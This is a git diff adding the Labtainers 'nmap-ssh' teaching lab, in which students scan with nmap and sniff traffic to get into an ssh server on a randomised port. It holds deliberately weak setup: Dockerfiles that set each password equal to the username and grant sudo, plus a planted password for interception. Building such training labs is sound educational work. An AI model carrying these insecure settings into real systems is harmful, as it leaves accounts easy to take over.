b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/config/about.txt new file mode 100644 index 000000000..a685e57fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/config/about.txt @@ -0,0 +1 @@ +Use nmap and network traffic analysis to demonstrate a vulnerability in an ssh server. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/config/parameter.config new file mode 100644 index 000000000..f7ed2e9be --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/config/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format +# + +randport : RAND_REPLACE : pserver:/etc/xinetd.d/ssh;pserver:/etc/services : RANDOM_PORT : 2000 : 3000 +secretpwd : HASH_REPLACE : client:/home/ubuntu/bot.py;pserver:/home/ubuntu/.local/bin/fixlocal.sh : NEWPWD : password : 6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/config/start.config new file mode 100644 index 000000000..4a7fc2914 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/config/start.config @@ -0,0 +1,68 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER mycomputer + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED nmap-testing_chris_master_seed + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK SERVER_NETWORK + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 + +NETWORK CLIENT_NETWORK + MASK 172.24.0.0/24 + GATEWAY 172.24.0.101 + +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER mycomputer + USER analyst + TERMINALS 1 + CLIENT_NETWORK 172.24.0.2 + +CONTAINER client + + USER ubuntu + TERMINALS -1 + CLIENT_NETWORK 172.24.0.1 + +CONTAINER tserver + + USER ubuntu + TERMINALS -1 + SERVER_NETWORK 172.25.0.1 + +CONTAINER pserver + + USER ubuntu + TERMINALS -1 + SERVER_NETWORK 172.25.0.2 + +CONTAINER router + + USER analyst + TERMINALS 1 + CLIENT_NETWORK 172.24.0.3 + SERVER_NETWORK 172.25.0.3 + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.client.student new file mode 100644 index 000000000..ad5368567 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.client.student @@ -0,0 +1,21 @@ +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG apt_source +ARG user_name + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnet + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.mycomputer.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.mycomputer.student new file mode 100644 index 000000000..6ae447604 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.mycomputer.student @@ -0,0 +1,24 @@ +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnet + +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN chown -R $user_name:$user_name /home/$user_name +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.pserver.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.pserver.student new file mode 100644 index 000000000..07f10304b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.pserver.student @@ -0,0 +1,32 @@ +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source + +# +# Example of installing xinetd to manage inetd type system services +# And, installation of rsyslog to cause system logging local to the +# container. +# +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + telnetd + +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +# +# the faux_init script starts the rsyslog daemon & the xinetd +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.router.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.router.student new file mode 100644 index 000000000..16633cf1c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.router.student @@ -0,0 +1,25 @@ +ARG registry +FROM $registry/labtainer.network +MAINTAINER jkhosali@nps.edu +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +ENV DEBIAN_FRONTEND noninteractive +RUN echo 'debconf debconf/frontend select Noninteractive' | debconf-set-selections +RUN apt-get update && apt-get install -y --no-install-recommends tshark + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN chown -R $user_name:$user_name /home/$user_name +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.tserver.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.tserver.student new file mode 100644 index 000000000..07f10304b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/dockerfiles/Dockerfile.nmap-ssh.tserver.student @@ -0,0 +1,32 @@ +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source + +# +# Example of installing xinetd to manage inetd type system services +# And, installation of rsyslog to cause system logging local to the +# container. +# +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + telnetd + +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +# +# the faux_init script starts the rsyslog daemon & the xinetd +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/docs/Makefile new file mode 100644 index 000000000..af81789a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/docs/Makefile @@ -0,0 +1,6 @@ +nmap-ssh.pdf: nmap-ssh.docx + soffice --convert-to pdf nmap-ssh.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/docs/nmap-ssh.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/docs/nmap-ssh.docx new file mode 100644 index 000000000..09533002e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/docs/nmap-ssh.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/docs/read_first.txt new file mode 100644 index 000000000..e70f22e4e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/nmap-ssh.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/instr_config/goals.config new file mode 100644 index 000000000..2ad7e15d4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/instr_config/goals.config @@ -0,0 +1,11 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#GROUP: quantity of tool invocations +nmap_count = value : nmapscan +tshark_count = value : tshark_count +tcpdump_count = value : tcpdump_count +#DOC: viewed the secret file using ssh +sshview = matchany : string_start : sshsecretfile : answer=This + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/instr_config/results.config new file mode 100644 index 000000000..e33ffc58d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/instr_config/results.config @@ -0,0 +1,8 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + +nmapscan = mycomputer:.bash_history : COMMAND_COUNT : nmap +tshark_count = router:.bash_history : COMMAND_COUNT : tshark +tcpdump_count = router:.bash_history : COMMAND_COUNT : tcpdump +sshsecretfile = mycomputer:ssh.stdout : 4 : STARTSWITH : My string is: diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_bin/fixlocal.sh new file mode 100755 index 000000000..4b53a2980 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_bin/fixlocal.sh @@ -0,0 +1,6 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_bin/treataslocal new file mode 100644 index 000000000..68418f593 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_bin/treataslocal @@ -0,0 +1,3 @@ +/usr/bin/nmap +/usr/bin/ssh +/usr/bin/telnet diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_system/etc/rc.local new file mode 100755 index 000000000..67b3ba361 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_system/etc/rc.local @@ -0,0 +1,2 @@ +#!/bin/bash +route add -net 172.25.0.0/24 gw 172.24.0.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/mycomputer/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/Untitled Document b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/Untitled Document new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_bin/fixlocal.sh new file mode 100755 index 000000000..f66d07a5d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/usr/bin/env bash + +sudo /etc/init.d/xinetd restart + +echo 'ubuntu:NEWPWD' | sudo chpasswd diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_bin/treataslocal new file mode 100644 index 000000000..d32bcf090 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/tcpdump diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/rc.local new file mode 100755 index 000000000..48f88f6be --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/rc.local @@ -0,0 +1,17 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to server +route add -net 172.24.0.0/24 gw 172.25.0.3 + +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/services b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/services new file mode 100644 index 000000000..d0bd4e2d4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/services @@ -0,0 +1,612 @@ +# Network services, Internet style +# +# Note that it is presently the policy of IANA to assign a single well-known +# port number for both TCP and UDP; hence, officially ports have two entries +# even if the protocol doesn't support UDP operations. +# +# Updated from http://www.iana.org/assignments/port-numbers and other +# sources like http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services . +# New ports will be added on request if they have been officially assigned +# by IANA and used in the real-world or are needed by a debian package. +# If you need a huge list of used numbers please install the nmap package. + +tcpmux 1/tcp # TCP port service multiplexer +echo 7/tcp +echo 7/udp +discard 9/tcp sink null +discard 9/udp sink null +systat 11/tcp users +daytime 13/tcp +daytime 13/udp +netstat 15/tcp +qotd 17/tcp quote +msp 18/tcp # message send protocol +msp 18/udp +chargen 19/tcp ttytst source +chargen 19/udp ttytst source +ftp-data 20/tcp +ftp 21/tcp +fsp 21/udp fspd +ssh RANDOM_PORT/tcp # SSH Remote Login Protocol +ssh RANDOM_PORT/udp +telnet 23/tcp +smtp 25/tcp mail +time 37/tcp timserver +time 37/udp timserver +rlp 39/udp resource # resource location +nameserver 42/tcp name # IEN 116 +whois 43/tcp nicname +tacacs 49/tcp # Login Host Protocol (TACACS) +tacacs 49/udp +re-mail-ck 50/tcp # Remote Mail Checking Protocol +re-mail-ck 50/udp +domain 53/tcp # Domain Name Server +domain 53/udp +mtp 57/tcp # deprecated +tacacs-ds 65/tcp # TACACS-Database Service +tacacs-ds 65/udp +bootps 67/tcp # BOOTP server +bootps 67/udp +bootpc 68/tcp # BOOTP client +bootpc 68/udp +tftp 69/udp +gopher 70/tcp # Internet Gopher +gopher 70/udp +rje 77/tcp netrjs +finger 79/tcp +http 80/tcp www # WorldWideWeb HTTP +http 80/udp # HyperText Transfer Protocol +link 87/tcp ttylink +kerberos 88/tcp kerberos5 krb5 kerberos-sec # Kerberos v5 +kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5 +supdup 95/tcp +hostnames 101/tcp hostname # usually from sri-nic +iso-tsap 102/tcp tsap # part of ISODE +acr-nema 104/tcp dicom # Digital Imag. & Comm. 300 +acr-nema 104/udp dicom +csnet-ns 105/tcp cso-ns # also used by CSO name server +csnet-ns 105/udp cso-ns +rtelnet 107/tcp # Remote Telnet +rtelnet 107/udp +pop2 109/tcp postoffice pop-2 # POP version 2 +pop2 109/udp pop-2 +pop3 110/tcp pop-3 # POP version 3 +pop3 110/udp pop-3 +sunrpc 111/tcp portmapper # RPC 4.0 portmapper +sunrpc 111/udp portmapper +auth 113/tcp authentication tap ident +sftp 115/tcp +uucp-path 117/tcp +nntp 119/tcp readnews untp # USENET News Transfer Protocol +ntp 123/tcp +ntp 123/udp # Network Time Protocol +pwdgen 129/tcp # PWDGEN service +pwdgen 129/udp +loc-srv 135/tcp epmap # Location Service +loc-srv 135/udp epmap +netbios-ns 137/tcp # NETBIOS Name Service +netbios-ns 137/udp +netbios-dgm 138/tcp # NETBIOS Datagram Service +netbios-dgm 138/udp +netbios-ssn 139/tcp # NETBIOS session service +netbios-ssn 139/udp +imap2 143/tcp imap # Interim Mail Access P 2 and 4 +imap2 143/udp imap +snmp 161/tcp # Simple Net Mgmt Protocol +snmp 161/udp +snmp-trap 162/tcp snmptrap # Traps for SNMP +snmp-trap 162/udp snmptrap +cmip-man 163/tcp # ISO mgmt over IP (CMOT) +cmip-man 163/udp +cmip-agent 164/tcp +cmip-agent 164/udp +mailq 174/tcp # Mailer transport queue for Zmailer +mailq 174/udp +xdmcp 177/tcp # X Display Mgr. Control Proto +xdmcp 177/udp +nextstep 178/tcp NeXTStep NextStep # NeXTStep window +nextstep 178/udp NeXTStep NextStep # server +bgp 179/tcp # Border Gateway Protocol +bgp 179/udp +prospero 191/tcp # Cliff Neuman's Prospero +prospero 191/udp +irc 194/tcp # Internet Relay Chat +irc 194/udp +smux 199/tcp # SNMP Unix Multiplexer +smux 199/udp +at-rtmp 201/tcp # AppleTalk routing +at-rtmp 201/udp +at-nbp 202/tcp # AppleTalk name binding +at-nbp 202/udp +at-echo 204/tcp # AppleTalk echo +at-echo 204/udp +at-zis 206/tcp # AppleTalk zone information +at-zis 206/udp +qmtp 209/tcp # Quick Mail Transfer Protocol +qmtp 209/udp +z3950 210/tcp wais # NISO Z39.50 database +z3950 210/udp wais +ipx 213/tcp # IPX +ipx 213/udp +imap3 220/tcp # Interactive Mail Access +imap3 220/udp # Protocol v3 +pawserv 345/tcp # Perf Analysis Workbench +pawserv 345/udp +zserv 346/tcp # Zebra server +zserv 346/udp +fatserv 347/tcp # Fatmen Server +fatserv 347/udp +rpc2portmap 369/tcp +rpc2portmap 369/udp # Coda portmapper +codaauth2 370/tcp +codaauth2 370/udp # Coda authentication server +clearcase 371/tcp Clearcase +clearcase 371/udp Clearcase +ulistserv 372/tcp # UNIX Listserv +ulistserv 372/udp +ldap 389/tcp # Lightweight Directory Access Protocol +ldap 389/udp +imsp 406/tcp # Interactive Mail Support Protocol +imsp 406/udp +svrloc 427/tcp # Server Location +svrloc 427/udp +https 443/tcp # http protocol over TLS/SSL +https 443/udp +snpp 444/tcp # Simple Network Paging Protocol +snpp 444/udp +microsoft-ds 445/tcp # Microsoft Naked CIFS +microsoft-ds 445/udp +kpasswd 464/tcp +kpasswd 464/udp +urd 465/tcp ssmtp smtps # URL Rendesvous Directory for SSM +saft 487/tcp # Simple Asynchronous File Transfer +saft 487/udp +isakmp 500/tcp # IPsec - Internet Security Association +isakmp 500/udp # and Key Management Protocol +rtsp 554/tcp # Real Time Stream Control Protocol +rtsp 554/udp +nqs 607/tcp # Network Queuing system +nqs 607/udp +npmp-local 610/tcp dqs313_qmaster # npmp-local / DQS +npmp-local 610/udp dqs313_qmaster +npmp-gui 611/tcp dqs313_execd # npmp-gui / DQS +npmp-gui 611/udp dqs313_execd +hmmp-ind 612/tcp dqs313_intercell # HMMP Indication / DQS +hmmp-ind 612/udp dqs313_intercell +asf-rmcp 623/udp # ASF Remote Management and Control Protocol +qmqp 628/tcp +qmqp 628/udp +ipp 631/tcp # Internet Printing Protocol +ipp 631/udp +# +# UNIX specific services +# +exec 512/tcp +biff 512/udp comsat +login 513/tcp +who 513/udp whod +shell 514/tcp cmd # no passwords used +syslog 514/udp +printer 515/tcp spooler # line printer spooler +talk 517/udp +ntalk 518/udp +route 520/udp router routed # RIP +timed 525/udp timeserver +tempo 526/tcp newdate +courier 530/tcp rpc +conference 531/tcp chat +netnews 532/tcp readnews +netwall 533/udp # for emergency broadcasts +gdomap 538/tcp # GNUstep distributed objects +gdomap 538/udp +uucp 540/tcp uucpd # uucp daemon +klogin 543/tcp # Kerberized `rlogin' (v5) +kshell 544/tcp krcmd # Kerberized `rsh' (v5) +dhcpv6-client 546/tcp +dhcpv6-client 546/udp +dhcpv6-server 547/tcp +dhcpv6-server 547/udp +afpovertcp 548/tcp # AFP over TCP +afpovertcp 548/udp +idfp 549/tcp +idfp 549/udp +remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem +nntps 563/tcp snntp # NNTP over SSL +nntps 563/udp snntp +submission 587/tcp # Submission [RFC4409] +submission 587/udp +ldaps 636/tcp # LDAP over SSL +ldaps 636/udp +tinc 655/tcp # tinc control port +tinc 655/udp +silc 706/tcp +silc 706/udp +kerberos-adm 749/tcp # Kerberos `kadmin' (v5) +# +webster 765/tcp # Network dictionary +webster 765/udp +rsync 873/tcp +rsync 873/udp +ftps-data 989/tcp # FTP over SSL (data) +ftps 990/tcp +telnets 992/tcp # Telnet over SSL +telnets 992/udp +imaps 993/tcp # IMAP over SSL +imaps 993/udp +ircs 994/tcp # IRC over SSL +ircs 994/udp +pop3s 995/tcp # POP-3 over SSL +pop3s 995/udp +# +# From ``Assigned Numbers'': +# +#> The Registered Ports are not controlled by the IANA and on most systems +#> can be used by ordinary user processes or programs executed by ordinary +#> users. +# +#> Ports are used in the TCP [45,106] to name the ends of logical +#> connections which carry long term conversations. For the purpose of +#> providing services to unknown callers, a service contact port is +#> defined. This list specifies the port used by the server process as its +#> contact port. While the IANA can not control uses of these ports it +#> does register or list uses of these ports as a convienence to the +#> community. +# +socks 1080/tcp # socks proxy server +socks 1080/udp +proofd 1093/tcp +proofd 1093/udp +rootd 1094/tcp +rootd 1094/udp +openvpn 1194/tcp +openvpn 1194/udp +rmiregistry 1099/tcp # Java RMI Registry +rmiregistry 1099/udp +kazaa 1214/tcp +kazaa 1214/udp +nessus 1241/tcp # Nessus vulnerability +nessus 1241/udp # assessment scanner +lotusnote 1352/tcp lotusnotes # Lotus Note +lotusnote 1352/udp lotusnotes +ms-sql-s 1433/tcp # Microsoft SQL Server +ms-sql-s 1433/udp +ms-sql-m 1434/tcp # Microsoft SQL Monitor +ms-sql-m 1434/udp +ingreslock 1524/tcp +ingreslock 1524/udp +prospero-np 1525/tcp # Prospero non-privileged +prospero-np 1525/udp +datametrics 1645/tcp old-radius +datametrics 1645/udp old-radius +sa-msg-port 1646/tcp old-radacct +sa-msg-port 1646/udp old-radacct +kermit 1649/tcp +kermit 1649/udp +groupwise 1677/tcp +groupwise 1677/udp +l2f 1701/tcp l2tp +l2f 1701/udp l2tp +radius 1812/tcp +radius 1812/udp +radius-acct 1813/tcp radacct # Radius Accounting +radius-acct 1813/udp radacct +msnp 1863/tcp # MSN Messenger +msnp 1863/udp +unix-status 1957/tcp # remstats unix-status server +log-server 1958/tcp # remstats log server +remoteping 1959/tcp # remstats remoteping server +cisco-sccp 2000/tcp # Cisco SCCP +cisco-sccp 2000/udp +search 2010/tcp ndtp +pipe-server 2010/tcp pipe_server +nfs 2049/tcp # Network File System +nfs 2049/udp # Network File System +gnunet 2086/tcp +gnunet 2086/udp +rtcm-sc104 2101/tcp # RTCM SC-104 IANA 1/29/99 +rtcm-sc104 2101/udp +gsigatekeeper 2119/tcp +gsigatekeeper 2119/udp +gris 2135/tcp # Grid Resource Information Server +gris 2135/udp +cvspserver 2401/tcp # CVS client/server operations +cvspserver 2401/udp +venus 2430/tcp # codacon port +venus 2430/udp # Venus callback/wbc interface +venus-se 2431/tcp # tcp side effects +venus-se 2431/udp # udp sftp side effect +codasrv 2432/tcp # not used +codasrv 2432/udp # server port +codasrv-se 2433/tcp # tcp side effects +codasrv-se 2433/udp # udp sftp side effect +mon 2583/tcp # MON traps +mon 2583/udp +dict 2628/tcp # Dictionary server +dict 2628/udp +f5-globalsite 2792/tcp +f5-globalsite 2792/udp +gsiftp 2811/tcp +gsiftp 2811/udp +gpsd 2947/tcp +gpsd 2947/udp +gds-db 3050/tcp gds_db # InterBase server +gds-db 3050/udp gds_db +icpv2 3130/tcp icp # Internet Cache Protocol +icpv2 3130/udp icp +iscsi-target 3260/tcp +mysql 3306/tcp +mysql 3306/udp +nut 3493/tcp # Network UPS Tools +nut 3493/udp +distcc 3632/tcp # distributed compiler +distcc 3632/udp +daap 3689/tcp # Digital Audio Access Protocol +daap 3689/udp +svn 3690/tcp subversion # Subversion protocol +svn 3690/udp subversion +suucp 4031/tcp # UUCP over SSL +suucp 4031/udp +sysrqd 4094/tcp # sysrq daemon +sysrqd 4094/udp +sieve 4190/tcp # ManageSieve Protocol +epmd 4369/tcp # Erlang Port Mapper Daemon +epmd 4369/udp +remctl 4373/tcp # Remote Authenticated Command Service +remctl 4373/udp +f5-iquery 4353/tcp # F5 iQuery +f5-iquery 4353/udp +ipsec-nat-t 4500/udp # IPsec NAT-Traversal [RFC3947] +iax 4569/tcp # Inter-Asterisk eXchange +iax 4569/udp +mtn 4691/tcp # monotone Netsync Protocol +mtn 4691/udp +radmin-port 4899/tcp # RAdmin Port +radmin-port 4899/udp +rfe 5002/udp # Radio Free Ethernet +rfe 5002/tcp +mmcc 5050/tcp # multimedia conference control tool (Yahoo IM) +mmcc 5050/udp +sip 5060/tcp # Session Initiation Protocol +sip 5060/udp +sip-tls 5061/tcp +sip-tls 5061/udp +aol 5190/tcp # AIM +aol 5190/udp +xmpp-client 5222/tcp jabber-client # Jabber Client Connection +xmpp-client 5222/udp jabber-client +xmpp-server 5269/tcp jabber-server # Jabber Server Connection +xmpp-server 5269/udp jabber-server +cfengine 5308/tcp +cfengine 5308/udp +mdns 5353/tcp # Multicast DNS +mdns 5353/udp +postgresql 5432/tcp postgres # PostgreSQL Database +postgresql 5432/udp postgres +freeciv 5556/tcp rptp # Freeciv gameplay +freeciv 5556/udp +amqps 5671/tcp # AMQP protocol over TLS/SSL +amqp 5672/tcp +amqp 5672/udp +amqp 5672/sctp +ggz 5688/tcp # GGZ Gaming Zone +ggz 5688/udp +x11 6000/tcp x11-0 # X Window System +x11 6000/udp x11-0 +x11-1 6001/tcp +x11-1 6001/udp +x11-2 6002/tcp +x11-2 6002/udp +x11-3 6003/tcp +x11-3 6003/udp +x11-4 6004/tcp +x11-4 6004/udp +x11-5 6005/tcp +x11-5 6005/udp +x11-6 6006/tcp +x11-6 6006/udp +x11-7 6007/tcp +x11-7 6007/udp +gnutella-svc 6346/tcp # gnutella +gnutella-svc 6346/udp +gnutella-rtr 6347/tcp # gnutella +gnutella-rtr 6347/udp +sge-qmaster 6444/tcp sge_qmaster # Grid Engine Qmaster Service +sge-qmaster 6444/udp sge_qmaster +sge-execd 6445/tcp sge_execd # Grid Engine Execution Service +sge-execd 6445/udp sge_execd +mysql-proxy 6446/tcp # MySQL Proxy +mysql-proxy 6446/udp +afs3-fileserver 7000/tcp bbs # file server itself +afs3-fileserver 7000/udp bbs +afs3-callback 7001/tcp # callbacks to cache managers +afs3-callback 7001/udp +afs3-prserver 7002/tcp # users & groups database +afs3-prserver 7002/udp +afs3-vlserver 7003/tcp # volume location database +afs3-vlserver 7003/udp +afs3-kaserver 7004/tcp # AFS/Kerberos authentication +afs3-kaserver 7004/udp +afs3-volser 7005/tcp # volume managment server +afs3-volser 7005/udp +afs3-errors 7006/tcp # error interpretation service 